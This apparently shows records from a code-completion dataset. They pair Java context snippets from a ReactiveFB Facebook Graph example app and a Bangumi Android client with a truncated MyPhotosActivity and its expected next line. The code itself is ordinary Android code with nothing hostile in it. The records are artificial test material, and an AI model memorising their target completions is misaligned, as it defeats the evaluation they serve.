@NonNull\n public static Single<GraphResponse> getPhotos(String userId) {\n ReactiveFB.checkInit();\n // getProfile\n return Single.create(new RequestOnSubscribe(userId, GraphPath.PHOTOS, null, 0));\n }\n\n /**\n * Get a user list of photos\n *\n * @param userId the facebookId of the user*\n * @param fields string representing the fields that you would like to\n * include in the response from the Graph API.\n * @return a Single of GraphResponse that represents a List of Photo Graph Object\n */\n @NonNull\n public static Single<GraphResponse> getPhotos(String userId, String fields) {\n ReactiveFB.checkInit();\n // getProfile\n return Single.create(new RequestOnSubscribe(userId, GraphPath.PHOTOS, fields, 0));\n }\n\n /**\n * Get a user list of photos\n *\n * @param userId the facebookId of the user*\n * @param fields string representing the fields that you would like to\n * include in the response from the Graph API.\n * @param limit limit the result to [0-n] number of items\n * @return a Single of GraphResponse that represents a List of Photo Graph Object\n */\n @NonNull\n public static Single<GraphResponse> getPhotos(String userId, String fields, int limit) {\n ReactiveFB.checkInit();\n // getProfile\n return Single.create(new RequestOnSubscribe(userId, GraphPath.PHOTOS, fields, limit));\n }\n}", "public enum PermissionHelper {\n\n /**\n * This permission not longer in use in latest graph versions.\n * Please us PermissionHelper#USER_ABOUT_ME instead.\n *\n * Provides access to a subset of items that are part of a person's public\n * profile. These Profile fields can be retrieved by using this\n * permission:<br>\n * <ul>\n * <li>ID</li>\n * <li>NAME</li>\n * <li>FIRST_NAME</li>\n * <li>LAST_NAME</li>\n * <li>LINK</li>\n * <li>GENDER</li>\n * <li>LOCALE</li>\n * <li>AGE_RANGE</li>\n * </ul>\n *\n */\n @Deprecated\n PUBLIC_PROFILE(\"public_profile\", Type.READ),\n\n /**\n * Provides access to BIO property of the\n */\n USER_ABOUT_ME(\"user_about_me\", Type.READ),\n\n /**\n * Provides access to all common books actions published by any app the\n * person has used. This includes books they've read, want to read, rated or\n * quoted.\n */\n USER_ACTIONS_BOOKS(\"user_actions.books\", Type.READ),\n\n /**\n * Provides access to all common Open Graph fitness actions published by any\n * app the person has used. This includes runs, walks and bikes actions.\n */\n USER_ACTIONS_FITNESS(\"user_actions.fitness\", Type.READ),\n\n /**\n * Provides access to all common Open Graph music actions published by any\n * app the person has used. This includes songs they've listened to, and\n * playlists they've created.\n */\n USER_ACTIONS_MUSIC(\"user_actions.music\", Type.READ),\n\n /**\n * Provides access to all common Open Graph news actions published by any\n * app the person has used which publishes these actions. This includes news\n * articles they've read or news articles they've published.\n */\n USER_ACTIONS_NEWS(\"user_actions.news\", Type.READ),\n\n /**\n * Provides access to all common Open Graph video actions published by any\n * app the person has used which publishes these actions. This includes\n * videos they've watched, videos they've rated and videos they want to\n * watch.\n */\n USER_ACTIONS_VIDEO(\"user_actions.video\", Type.READ),\n\n /**\n * This permission not longer in use in latest graph versions.\n *\n * Provides access to a person's list of activities as listed on their\n * Profile. This is a subset of the pages they have liked, where those pages\n * represent particular interests. This information is accessed through the\n * activities connection on the user node.\n */\n @Deprecated\n USER_ACTIVITIES(\"user_activities\", Type.READ),\n\n /**\n * Access the date and month of a person's birthday. This may or may not\n * include the person's year of birth, dependent upon their privacy settings\n * and the access token being used to query this field.\n */\n USER_BIRTHDAY(\"user_birthday\", Type.READ),\n\n /**\n * Provides access to EDUCATION property of the Profile\n */\n USER_EDUCATION_HISTORY(\"user_education_history\", Type.READ),\n\n /**\n * Provides read-only access to the Events a person is hosting or has RSVP'd\n * to.\n */\n USER_EVENTS(\"user_events\", Type.READ),\n\n /**\n * Provides access the list of friends that also use your app. In order for\n * a person to show up in one person's friend list, <b>both people</b> must\n * have decided to share their list of friends with your app and not\n * disabled that permission during login.\n */\n USER_FRIENDS(\"user_friends\", Type.READ),\n\n /**\n * Provides access to read a person's game activity (scores, achievements)\n * in any game the person has played.\n */\n USER_GAMES_ACTIVITY(\"user_games_activity\", Type.READ),\n\n /**\n * This permission not longer in use in latest graph versions.\n * Please us PermissionHelper#USER_MANAGED_GROUPS instead.\n *\n * Enables your app to read the Groups a person is a member of through the\n * groups edge on the User object. This permission does not allow you to\n * create groups on behalf of a person. It is not possible to create groups\n * via the Graph API\n */\n @Deprecated\n USER_GROUPS(\"user_groups\", Type.READ),\n\n /**\n * Enables your app to read the Groups a person is a member of through the\n * groups edge on the User object. This permission does not allow you to\n * create groups on behalf of a person. It is not possible to create groups\n * via the Graph API\n */\n USER_MANAGED_GROUPS(\"user_managed_groups\", Type.READ),\n\n /**\n * Provides access to a person's hometown location through the hometown\n * field on the User object. This is set by the user on the Profile.\n */\n USER_HOMETOWN(\"user_hometown\", Type.READ),\n\n /**\n * This permission not longer in use in latest graph versions.\n *\n * Provides access to the list of interests in a person's Profile. This is a\n * subset of the pages they have liked which represent particular interests.\n */\n @Deprecated\n USER_INTERESTS(\"user_interests\", Type.READ),\n\n /**\n * Provides access to the list of all Facebook Pages and Open Graph objects\n * that a person has liked. This list is available through the likes edge on\n * the User object.\n */\n USER_LIKES(\"user_likes\", Type.READ),\n\n /**\n * Provides access to a person's current city through the location field on\n * the User object. The current city is set by a person on their Profile.\n */\n USER_LOCATION(\"user_location\", Type.READ),\n\n /**\n * Provides access to the photos a person has uploaded or been tagged in.\n * This is available through the photos edge on the User object.\n */\n USER_PHOTOS(\"user_photos\", Type.READ),\n\n /**\n * Provides access to a person's relationship status, significant other and\n * family members as fields on the User object.\n */\n USER_RELATIONSHIPS(\"user_relationships\", Type.READ),\n\n /**\n * Provides access to a person's relationship interests as the interested_in\n * field on the User object.\n */\n USER_RELATIONSHIP_DETAILS(\"user_relationship_details\", Type.READ),\n\n /**\n * Provides access to a person's religious and political affiliations.\n */\n USER_RELIGION_POLITICS(\"user_religion_politics\", Type.READ),\n\n /**\n * Provides access to a person's statuses. These are posts on Facebook which\n * don't include links, videos or photos.\n */\n USER_STATUS(\"user_status\", Type.READ),\n\n /**\n * Provides access to the Places a person has been tagged at in photos,\n * videos, statuses and links.\n */\n USER_TAGGED_PLACES(\"user_tagged_places\", Type.READ),\n\n /**\n * Provides access to the videos a person has uploaded or been tagged in\n */\n USER_VIDEOS(\"user_videos\", Type.READ),\n\n /**\n * Provides access to the person's personal website URL via the website\n * field on the Profile.\n */\n USER_WEBSITE(\"user_website\", Type.READ),\n\n /**\n * Provides access to a person's work history and list of employers via the\n * work field on the Profile.\n */\n USER_WORK_HISTORY(\"user_work_history\", Type.READ),\n\n /**\n * This permission not longer in use in latest graph versions.\n * Please us PermissionHelper#READ_CUSTOM_FRIENDLISTS instead.\n *\n * Provides access to the names of custom lists a person has created to organize their friends.\n * This is useful for rendering an audience selector when someone is publishing stories\n * to Facebook from your app.\n *\n * This permission does not give access to a list of person's friends. If you want to access\n * a person's friends who also use your app, you should use the user_friends permission.\n */\n @Deprecated\n READ_FRIENDLISTS(\"read_friendlists\", Type.READ),\n\n /**\n * Provides access to the names of custom lists a person has created to organize their friends.\n * This is useful for rendering an audience selector when someone is publishing stories\n * to Facebook from your app.\n *\n * This permission does not give access to a list of person's friends. If you want to access\n * a person's friends who also use your app, you should use the user_friends permission.\n */\n READ_CUSTOM_FRIENDLISTS(\"read_custom_friendlists\", Type.READ),\n\n /**\n * Provides read-only access to the Insights data for Pages, Apps and web\n * domains the person owns.\n */\n READ_INSIGHTS(\"read_insights\", Type.READ),\n\n /**\n * This permission not longer in use in latest graph versions.\n *\n * Provides the ability to read the messages in a person's Facebook Inbox\n * through the inbox edge and the thread node\n */\n @Deprecated\n READ_MAILBOX(\"read_mailbox\", Type.READ),\n\n /**\n * This permission not longer in use in latest graph versions.\n * Please us PermissionHelper#USER_POSTS instead.\n *\n * Provides access to read the posts in a person's News Feed, or the posts\n * on their Profile.\n */\n @Deprecated\n READ_STREAM(\"read_stream\", Type.READ),\n\n /**\n * Provides the ability to read from the Page Inboxes of the Pages managed\n * by a person. This permission is often used alongside the manage_pages\n * permission.\n *\n * This permission does not let your app read the page owner's mailbox. It\n * only applies to the page's mailbox.\n */\n READ_PAGE_MAILBOX(\"read_page_mailboxes\", Type.READ),\n\n /**\n * Provides access to the person's primary email address via the\n * EMAIL property on the Profile object.<br>\n * <br>\n * <b>Note:</b><br>\n * Even if you request the email permission it is not guaranteed you will\n * get an email address. For example, if someone signed up for Facebook with\n * a phone number instead of an email address, the email field may be empty.\n */\n EMAIL(\"email\", Type.READ),\n\n /**\n * Provides access to the posts on a person's Timeline. Includes their own posts,\n * posts they are tagged in, and posts other people make on their Timeline.\n */\n USER_POSTS(\"user_posts\", Type.READ),\n\n /**\n * Provides the access to Ads Insights API to pull ads report information for ad\n * accounts you have access to.\n */\n ADS_READ(\"ads_read\", Type.READ),\n\n /**\n * Provides read-only access to the Audience Network Insights data for Apps the person owns.\n */\n READ_AUDIENCE_NETWORK_INSIGHTS(\"read_audience_network_insights\", Type.READ),\n\n /**\n * Provides access to publish Posts, Open Graph actions, achievements,\n * scores and other activity on behalf of a person using your app.\n */\n PUBLISH_ACTION(\"publish_actions\", Type.PUBLISH),\n\n /**\n * Provides the ability to set a person's attendee status on Facebook Events\n * (e.g. attending, maybe, or declined). This permission does not let you\n * invite people to an event. This permission does not let you update an\n * event's details. This permission does not let you create an event. There\n * is no way to create an event via the API as of Graph API v2.0.\n */\n RSVP_EVENT(\"rsvp_event\", Type.PUBLISH),\n\n /**\n * This permission not longer in use in latest graph versions.\n *\n * Enables your app to read a person's notifications and mark them as read.\n * This permission does not let you send notifications to a person.\n */\n @Deprecated\n MANAGE_NOTIFICATIONS(\"manage_notifications\", Type.PUBLISH),\n\n /**\n * Enables your app to retrieve Page Access Tokens for the Pages and Apps\n * that the person administrates.\n */\n MANAGE_PAGES(\"manage_pages\", Type.PUBLISH);\n\n /**\n * PermissionHelper type enum:\n * - READ\n * - PUBLISH\n */\n public static enum Type {\n PUBLISH,\n READ;\n };\n\n public static enum Role {\n /**\n * Manage admins<br>\n * Full Admin\n */\n ADMINISTER,\n /**\n * Edit the Page and add apps<br>\n * Full Admin, Content Creator\n */\n EDIT_PROFILE,\n /**\n * Create posts as the Page<br>\n * Full Admin, Content Creator\n */\n CREATE_CONTENT,\n /**\n * Respond to and delete comments, send messages as the Page<br>\n * Full Admin, Content Creator, Moderator\n */\n MODERATE_CONTENT,\n /**\n * Create ads and unpublished page posts<br>\n * Full Admin, Content Creator, Moderator, Ads Creator\n */\n CREATE_ADS,\n /**\n * View Insights<br>\n * Full Admin, Content Creator, Moderator, Ads Creator, Insights Manager\n */\n BASIC_ADMIN\n }\n\n private final String mValue;\n private final Type mType;\n\n private PermissionHelper(String value, Type type) {\n mValue = value;\n mType = type;\n }\n\n public String getValue() {\n return mValue;\n }\n\n public Type getType() {\n return mType;\n }\n\n public static PermissionHelper fromValue(String permissionValue) {\n for (PermissionHelper permission : values()) {\n if (permission.mValue.equals(permissionValue)) {\n return permission;\n }\n }\n return null;\n }\n\n public static List<PermissionHelper> convert(Collection<String> rawPermissions) {\n if (rawPermissions == null) {\n return null;\n }\n\n List<PermissionHelper> permissions = new ArrayList<PermissionHelper>();\n for (PermissionHelper permission : values()) {\n if (rawPermissions.contains(permission.getValue())) {\n permissions.add(permission);\n }\n }\n return permissions;\n }\n\n public static List<String> convert(List<PermissionHelper> permissions) {\n if (permissions == null) {\n return null;\n }\n\n List<String> rawPermissions = new ArrayList<String>();\n for (PermissionHelper permission : permissions) {\n rawPermissions.add(permission.getValue());\n }\n\n return rawPermissions;\n }\n\n public static List<String> fetchPermissions(List<PermissionHelper> permissions, PermissionHelper.Type type) {\n List<String> perms = new ArrayList<String>();\n for (PermissionHelper permission : permissions) {\n if (type.equals(permission.getType())) {\n perms.add(permission.getValue());\n }\n }\n return perms;\n }\n\n}", "public class Photo implements Publishable {\n\n private static final String ID = \"id\";\n private static final String ALBUM = \"album\";\n private static final String BACKDATED_TIME = \"backdated_time\";\n private static final String BACKDATED_TIME_GRANULARITY = \"backdate_time_granularity\";\n private static final String CREATED_TIME = \"created_time\";\n private static final String FROM = \"from\";\n private static final String HEIGHT = \"height\";\n private static final String ICON = \"icon\";\n private static final String IMAGES = \"images\";\n private static final String LINK = \"link\";\n private static final String PAGE_STORY_ID = \"page_story_id\";\n private static final String PICTURE = \"picture\";\n private static final String PLACE = \"place\";\n private static final String SOURCE = \"source\";\n private static final String UPDATED_TIME = \"updated_time\";\n private static final String WIDTH = \"width\";\n private static final String NAME = \"name\";\n private static final String MESSAGE = \"message\"; // same as NAME\n private static final String PRIVACY = \"privacy\";\n\n @SerializedName(ID)\n private String mId;\n\n @SerializedName(ALBUM)\n private Album mAlbum;\n\n @SerializedName(BACKDATED_TIME)\n private Date mBackDatetime;\n\n @SerializedName(BACKDATED_TIME_GRANULARITY)\n private BackDatetimeGranularity mBackDatetimeGranularity;\n\n @SerializedName(CREATED_TIME)\n private Date mCreatedTime;\n\n @SerializedName(FROM)\n private User mFrom;\n\n @SerializedName(HEIGHT)\n private Integer mHeight;\n\n @SerializedName(ICON)\n private String mIcon;\n\n @SerializedName(IMAGES)\n private List<Image> mImages;\n\n @SerializedName(LINK)\n private String mLink;\n\n @SerializedName(NAME)\n private String mName;\n\n @SerializedName(PAGE_STORY_ID)\n private String mPageStoryId;\n\n @SerializedName(PICTURE)\n private String mPicture;\n\n @SerializedName(SOURCE)\n private String mSource;\n\n @SerializedName(UPDATED_TIME)\n private Date mUpdatedTime;\n\n @SerializedName(WIDTH)\n private Integer mWidth;\n\n @SerializedName(PLACE)\n private Place mPlace;\n\n private String mPlaceId = null;\n private Parcelable mParcelable = null;\n private byte[] mBytes = null;\n private Privacy mPrivacy = null;\n\n private Photo(Builder builder) {\n mName = builder.mName;\n mPlaceId = builder.mPlaceId;\n mParcelable = builder.mParcelable;\n mBytes = builder.mBytes;\n mPrivacy = builder.mPrivacy;\n }\n\n @Override\n public String getPath() {\n return GraphPath.PHOTOS;\n }\n\n /**\n * Get id of the photo\n *\n * @return\n */\n public String getId() {\n return mId;\n }\n\n public Album getAlbum() {\n return mAlbum;\n }\n\n public Date getBackDateTime() {\n return mBackDatetime;\n }\n\n public BackDatetimeGranularity getBackDatetimeGranularity() {\n return mBackDatetimeGranularity;\n }\n\n public Date getCreatedTime() {\n return mCreatedTime;\n }\n\n public User getFrom() {\n return mFrom;\n }\n\n public Integer getHeight() {\n return mHeight;\n }\n\n public String getIcon() {\n return mIcon;\n }\n\n public List<Image> getImages() {\n return mImages;\n }\n\n public String getLink() {\n return mLink;\n }\n\n public String getName() {\n return mName;\n }\n\n public String getPageStoryId() {\n return mPageStoryId;\n }\n\n public String getPicture() {\n return mPicture;\n }\n\n public Place getPlace() {\n return mPlace;\n }\n\n public String getSource() {\n return mSource;\n }\n\n public Date getUpdatedTime() {\n return mUpdatedTime;\n }\n\n public Integer getWidth() {\n return mWidth;\n }\n\n /**\n * Is used for publishing action\n */\n public Parcelable getParcelable() {\n return mParcelable;\n }\n\n /**\n * Is used for publishing action\n */\n public String getPlaceId() {\n return mPlaceId;\n }\n\n public Bundle getBundle() {\n Bundle bundle = new Bundle();\n\n // add description\n if (mName != null) {\n bundle.putString(MESSAGE, mName);\n }\n\n // add place\n if (mPlaceId != null) {\n bundle.putString(PLACE, mPlaceId);\n }\n\n // add privacy\n if (mPrivacy != null) {\n bundle.putString(PRIVACY, mPrivacy.getJSONString());\n }\n\n // add image\n if (mParcelable != null) {\n bundle.putParcelable(PICTURE, mParcelable);\n } else if (mBytes != null) {\n bundle.putByteArray(PICTURE, mBytes);\n }\n\n return bundle;\n }\n\n public enum BackDatetimeGranularity {\n YEAR(\"year\"),\n MONTH(\"month\"),\n DAY(\"day\"),\n HOUR(\"hour\"),\n MIN(\"min\"),\n NONE(\"none\");\n\n private String mValue;\n\n private BackDatetimeGranularity(String value) {\n mValue = value;\n }\n\n public String getValue() {\n return mValue;\n }\n\n public static BackDatetimeGranularity fromValue(String value) {\n for (BackDatetimeGranularity granularityEnum : values()) {\n if (granularityEnum.mValue.equals(value)) {\n return granularityEnum;\n }\n }\n return BackDatetimeGranularity.NONE;\n }\n }\n\n /**\n * Builder for preparing the Photo object to be published.\n */\n public static class Builder {\n private String mName = null;\n private String mPlaceId = null;\n\n private Parcelable mParcelable = null;\n private byte[] mBytes = null;\n private Privacy mPrivacy = null;\n\n public Builder() {\n }\n\n /**\n * Set photo to be published\n *\n * @param bitmap\n */\n public Builder setImage(Bitmap bitmap) {\n mParcelable = bitmap;\n return this;\n }\n\n /**\n * Set photo to be published\n *\n * @param file\n */\n public Builder setImage(File file) {\n try {\n mParcelable = ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);\n } catch (FileNotFoundException e) {\n Logger.logError(Photo.class, \"Failed to create photo from file\", e);\n }\n return this;\n }\n\n /**\n * Set photo to be published\n *\n * @param bytes\n */\n public Builder setImage(byte[] bytes) {\n mBytes = bytes;\n return this;\n }\n\n /**\n * Add name/description to the photo\n *\n * @param name\n * The name/description of the photo\n */\n public Builder setName(String name) {\n mName = name;\n return this;\n }\n\n /**\n * Add place id of the photo\n *\n * @param placeId\n * The place id of the photo\n */\n public Builder setPlace(String placeId) {\n mPlaceId = placeId;\n return this;\n }\n\n /**\n * Add privacy setting to the photo\n *\n * @param privacy\n * The privacy setting of the photo\n * @see Privacy\n */\n public Builder setPrivacy(Privacy privacy) {\n mPrivacy = privacy;\n return this;\n }\n\n public Photo build() {\n return new Photo(this);\n }\n }\n\n @Override\n public String toString() {\n return mSource;\n }\n}", "public class GsonDateTypeAdapter implements JsonSerializer<Date>, JsonDeserializer<Date> {\n\n private static List<DateFormat> formats;\n\n {\n formats = new ArrayList<DateFormat>();\n formats.add(createDateFormat(\"yyyy-MM-dd'T'HH:mm:ss.SSS'Z'\"));\n formats.add(createDateFormat(\"yyyy-MM-dd'T'HH:mm:ss'Z'\"));\n formats.add(createDateFormat(\"yyyy-MM-dd'T'HH:mm:ssZ\"));\n formats.add(createDateFormat(\"yyyy-MM-dd\"));\n }\n\n private static DateFormat createDateFormat(String format) {\n SimpleDateFormat dateFormat = new SimpleDateFormat(format, Locale.US);\n dateFormat.setTimeZone(TimeZone.getTimeZone(\"UTC\"));\n return dateFormat;\n }\n\n public GsonDateTypeAdapter() {\n }\n\n @Override\n public synchronized JsonElement serialize(Date date, Type type,\n JsonSerializationContext jsonSerializationContext) {\n for (DateFormat dateFormat : formats) {\n try {\n return new JsonPrimitive(dateFormat.format(date));\n } catch (Exception e) {\n }\n }\n\n return null;\n }\n\n @Override\n public synchronized Date deserialize(JsonElement jsonElement, Type type,\n JsonDeserializationContext jsonDeserializationContext) {\n Exception le = null;\n String dateString = jsonElement.getAsString();\n for (DateFormat dateFormat : formats) {\n try {\n return dateFormat.parse(dateString);\n } catch (Exception e) {\n le = e;\n }\n }\n throw new JsonParseException(le);\n }\n}", "public class PhotosAdapter extends RecyclerView.Adapter<RecyclerView.ViewHolder> {\n\n private List<Photo> mCollection;\n\n public PhotosAdapter(List<Photo> collection) {\n this.mCollection = collection;\n }\n\n @Override\n public RecyclerView.ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {\n View v = LayoutInflater\n .from(parent.getContext())\n .inflate(R.layout.item_photo, parent, false);\n\n return new PhotosHolder(v);\n }\n\n @Override\n public void onBindViewHolder(RecyclerView.ViewHolder holder, int position) {\n PhotosHolder mHolder = (PhotosHolder) holder;\n Photo photo = mCollection.get(position);\n String title = \" - \";\n if (photo.getName() != null) {\n int possibleLength = photo.getName().length() > 20 ? 20 : photo.getName().length() - 1;\n title = photo.getName().subSequence(0, possibleLength).toString();\n }\n mHolder.title.setText(title);\n Glide.with(mHolder.title.getContext())\n .load(photo.getImages().get(photo.getImages().size() - 1).getSource())\n .centerCrop()\n .into(mHolder.image);\n }\n\n @Override\n public int getItemCount() {\n return mCollection.size();\n }\n\n public void setData(List<Photo> data) {\n mCollection.clear();\n mCollection.addAll(data);\n notifyDataSetChanged();\n }\n\n\n private class PhotosHolder extends RecyclerView.ViewHolder {\n\n ImageView image;\n TextView title;\n\n PhotosHolder(View itemView) {\n super(itemView);\n image = (ImageView) itemView.findViewById(R.id.image);\n title = (TextView) itemView.findViewById(R.id.title);\n }\n }\n}" ]
import android.os.Bundle; import android.support.v7.app.AppCompatActivity; import android.support.v7.widget.GridLayoutManager; import android.support.v7.widget.RecyclerView; import android.util.Log; import android.widget.Toast; import com.beltaief.reactivefb.ReactiveFB; import com.beltaief.reactivefb.actions.ReactiveLogin; import com.beltaief.reactivefb.requests.ReactiveRequest; import com.beltaief.reactivefb.util.PermissionHelper; import com.beltaief.reactivefbexample.R; import com.beltaief.reactivefbexample.models.Photo; import com.beltaief.reactivefbexample.util.GsonDateTypeAdapter; import com.beltaief.reactivefbexample.util.PhotosAdapter; import com.facebook.GraphResponse; import com.facebook.login.LoginResult; import com.google.gson.Gson; import com.google.gson.GsonBuilder; import com.google.gson.JsonParseException; import com.google.gson.reflect.TypeToken; import org.json.JSONException; import java.lang.reflect.Type; import java.util.ArrayList; import java.util.Date; import java.util.List; import io.reactivex.MaybeObserver; import io.reactivex.SingleObserver; import io.reactivex.disposables.Disposable;
package com.beltaief.reactivefbexample.views; public class MyPhotosActivity extends AppCompatActivity { private static final String TAG = MyPhotosActivity.class.getSimpleName(); private PhotosAdapter mAdapter; private List<Photo> photos = new ArrayList<>(); @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_my_photos); RecyclerView recycler = (RecyclerView) findViewById(R.id.recycler); recycler.setLayoutManager(new GridLayoutManager(this, 2)); recycler.setNestedScrollingEnabled(true); mAdapter = new PhotosAdapter(photos); recycler.setAdapter(mAdapter); // check permissions boolean permissionGranted = ReactiveFB.checkPermission(PermissionHelper.USER_PHOTOS); if (permissionGranted) { getPhotos(); } else { List<PermissionHelper> permissions = new ArrayList<>(); permissions.add(PermissionHelper.USER_PHOTOS); requestAdditionalPermission(permissions); } } private void requestAdditionalPermission(List<PermissionHelper> permissions) { ReactiveLogin.requestAdditionalPermission(permissions, this) .subscribe(new MaybeObserver<LoginResult>() { @Override public void onSubscribe(Disposable d) { Log.d(TAG, "onSubscribe"); } @Override public void onSuccess(LoginResult loginResult) { Log.d(TAG, "onSuccess"); // verify if permission was granted if (loginResult.getRecentlyDeniedPermissions() .contains(PermissionHelper.USER_PHOTOS.getValue())) { // permission was refused, show a toast : Toast.makeText(getApplicationContext(), "We cannot get your photos " + "without your permissions", Toast.LENGTH_LONG).show(); } else { // permission was granted, get albums getPhotos(); } } @Override public void onError(Throwable e) { Log.d(TAG, "onError " + e.getMessage()); } @Override public void onComplete() { Log.d(TAG, "onComplete"); } }); } public void getPhotos() { final String photoFields = "album,images,name"; // fields passed to GraphAPI like "?fields=x,x" ReactiveRequest .getMyPhotos(photoFields, 20) // get albums .map(this::transform) // parse json to list of Album .subscribe(new SingleObserver<List<Photo>>() { @Override public void onSubscribe(Disposable d) { Log.d(TAG, "onSubscribe"); } @Override public void onSuccess(List<Photo> value) { Log.d(TAG, "onNext"); appendPhotos(value); } @Override public void onError(Throwable e) { Log.d(TAG, "onError " + e.getMessage()); } }); } private void appendPhotos(List<Photo> photoList) { mAdapter.setData(photoList); } private List<Photo> transform(GraphResponse response) { Gson gson = new GsonBuilder()
.registerTypeAdapter(Date.class, new GsonDateTypeAdapter())
5
scarletsky/Bangumi-Android
app/src/main/java/io/github/scarletsky/bangumi/ui/fragments/CollectionFragment.java
[ "public class BangumiApplication extends Application {\n\n private static BangumiApplication mInstance;\n private SessionManager session;\n\n @Override\n public void onCreate() {\n super.onCreate();\n mInstance = this;\n }\n\n public static synchronized BangumiApplication getInstance() {\n return mInstance;\n }\n\n public SessionManager getSession() {\n if (session == null) {\n session = new SessionManager(getApplicationContext());\n }\n\n return session;\n }\n\n}", "public class CardRecyclerAdapter extends RecyclerView.Adapter<RecyclerView.ViewHolder> {\n\n public static final int VIEW_TYPE_NORMAL = 1;\n public static final int VIEW_TYPE_WITH_PROGRESS = 2;\n\n private static final String TAG = CardRecyclerAdapter.class.getSimpleName();\n\n private Context ctx;\n private List<?> data;\n private int viewType = 1;\n\n\n public CardRecyclerAdapter(Context ctx, List<?> data) {\n this.ctx = ctx;\n this.data = data;\n }\n\n public void setViewType(int viewType) {\n this.viewType = viewType;\n }\n\n @Override\n public int getItemViewType(int position) {\n return viewType;\n }\n\n @Override\n public RecyclerView.ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {\n View v = LayoutInflater.from(ctx).inflate(R.layout.adapter_card, parent, false);\n return viewType == VIEW_TYPE_WITH_PROGRESS ? new ViewHolderWithProgress(v) : new ViewHolder(v);\n }\n\n @Override\n public void onBindViewHolder(RecyclerView.ViewHolder holder, int position) {\n ViewHolder h = (ViewHolder) holder;\n final Subject mSubject;\n\n if (data.get(position) instanceof Subject) {\n\n mSubject = (Subject) data.get(position);\n\n } else if (data.get(position) instanceof UserCollection) {\n\n ViewHolderWithProgress hp = (ViewHolderWithProgress) holder;\n UserCollection mUserCollection = (UserCollection) data.get(position);\n mSubject = mUserCollection.getSubject();\n\n int currentProgress = mUserCollection.getEpStatus();\n String maxProgress = mSubject.getEps() == 0 ? \"??\" : String.valueOf(mSubject.getEps());\n\n hp.mProgressLabel.setText(currentProgress + \"/\" + maxProgress);\n hp.mProgressBar.setMax(mSubject.getEps());\n hp.mProgressBar.setProgress(mUserCollection.getEpStatus());\n hp.mProgressBar.getProgressDrawable().setColorFilter(ctx.getResources().getColor(R.color.primary), PorterDuff.Mode.SRC_IN);\n\n } else {\n\n return;\n\n }\n\n h.mCard.setOnClickListener(new View.OnClickListener() {\n @Override\n public void onClick(View view) {\n BusProvider.getInstance().post(new GetSubjectEvent(mSubject));\n }\n });\n\n // set card title\n if (!mSubject.getNameCn().equals(\"\")) {\n h.mCardTitle.setText(mSubject.getNameCn());\n } else {\n h.mCardTitle.setText(mSubject.getName());\n }\n\n // set card image\n if (mSubject.getImages() != null) {\n Picasso\n .with(ctx)\n .load(mSubject.getImages().getLarge())\n .placeholder(R.drawable.img_on_load)\n .error(R.drawable.img_on_error)\n .fit()\n .centerCrop()\n .into(h.mCardImage);\n } else {\n Picasso\n .with(ctx)\n .load(R.drawable.img_on_load)\n .fit()\n .centerCrop()\n .into(h.mCardImage);\n }\n }\n\n @Override\n public int getItemCount() {\n return data.size();\n }\n\n private static class ViewHolder extends RecyclerView.ViewHolder {\n\n public CardView mCard;\n public ImageView mCardImage;\n public TextView mCardTitle;\n\n public ViewHolder(View v) {\n super(v);\n mCard = (CardView) v.findViewById(R.id.card);\n mCardImage = (ImageView) v.findViewById(R.id.card_image);\n mCardTitle = (TextView) v.findViewById(R.id.card_title);\n }\n }\n\n private static class ViewHolderWithProgress extends ViewHolder {\n\n public ProgressBar mProgressBar;\n public TextView mProgressLabel;\n\n public ViewHolderWithProgress(View v) {\n super(v);\n mProgressBar = (ProgressBar) v.findViewById(R.id.card_progress);\n mProgressLabel = (TextView) v.findViewById(R.id.card_progress_label);\n v.findViewById(R.id.card_progress_wrapper).setVisibility(View.VISIBLE);\n }\n }\n}", "public class ApiManager {\n\n private static RestAdapter retrofit;\n private static BangumiApi mBangumiApi;\n\n private static RestAdapter getRetrofit() {\n if (retrofit == null) {\n retrofit = new RestAdapter.Builder()\n .setEndpoint(BangumiApi.API_HOST)\n .setLogLevel(RestAdapter.LogLevel.BASIC)\n .build();\n }\n return retrofit;\n }\n\n private static void initBangumiApi() {\n if (mBangumiApi == null) {\n mBangumiApi = getRetrofit().create(BangumiApi.class);\n }\n }\n\n public static BangumiApi getBangumiApi() {\n initBangumiApi();\n return mBangumiApi;\n }\n\n}", "public class UserCollection {\n private String name;\n private int ep_status;\n private long lasttouch;\n private Subject subject;\n\n public String getName() {\n return name;\n }\n\n public int getEpStatus() {\n return ep_status;\n }\n\n public long getLasttouch() {\n return lasttouch;\n }\n\n public Subject getSubject() {\n return subject;\n }\n}", "public class MarginDecoration extends RecyclerView.ItemDecoration {\n private int margin;\n\n public MarginDecoration(Context context) {\n margin = context.getResources().getDimensionPixelSize(R.dimen.grid_margin);\n }\n\n @Override\n public void getItemOffsets(\n Rect outRect, View view, RecyclerView parent, RecyclerView.State state) {\n outRect.set(margin, margin, margin, margin);\n }\n}", "public class BusProvider {\n private static Bus mBus;\n\n public static Bus getInstance() {\n if (mBus == null) {\n mBus = new Bus();\n }\n\n return mBus;\n }\n}", "public class SessionManager {\n\n private static final String TAG = SessionManager.class.getSimpleName();\n private static final String PREF_NAME = \"BangumiPref\";\n private static final String KEY_IS_LOGIN = \"isLogin\";\n private static final String KEY_AUTH = \"auth\";\n private static final String KEY_AUTH_ENCODE = \"authEncode\";\n private static final String KEY_USER_ID = \"userId\";\n private static final String KEY_USER_NICKNAME = \"userNickname\";\n private static final String KEY_USER_AVATAR = \"userAvatar\";\n\n private SharedPreferences pref;\n\n public SessionManager(Context ctx) {\n this.pref = ctx.getSharedPreferences(PREF_NAME, Context.MODE_PRIVATE);\n }\n\n public boolean isLogin() {\n return pref.getBoolean(KEY_IS_LOGIN, false);\n }\n\n public void setIsLogin(boolean isLogin) {\n pref.edit().putBoolean(KEY_IS_LOGIN, isLogin).apply();\n }\n\n public String getAuth() {\n return pref.getString(KEY_AUTH, \"\");\n }\n\n public void setAuth(String auth) {\n pref.edit().putString(KEY_AUTH, auth).apply();\n }\n\n public String getAuthEncode() {\n return pref.getString(KEY_AUTH_ENCODE, \"\");\n }\n\n public void setAuthEncode(String authEncode) {\n pref.edit().putString(KEY_AUTH_ENCODE, authEncode).apply();\n }\n\n public int getUserId() {\n return pref.getInt(KEY_USER_ID, 0);\n }\n\n public void setUserId(int id) {\n pref.edit().putInt(KEY_USER_ID, id).apply();\n }\n\n public String getUserNickname() {\n return pref.getString(KEY_USER_NICKNAME, \"\");\n }\n\n public void setUserNickname(String nickname) {\n 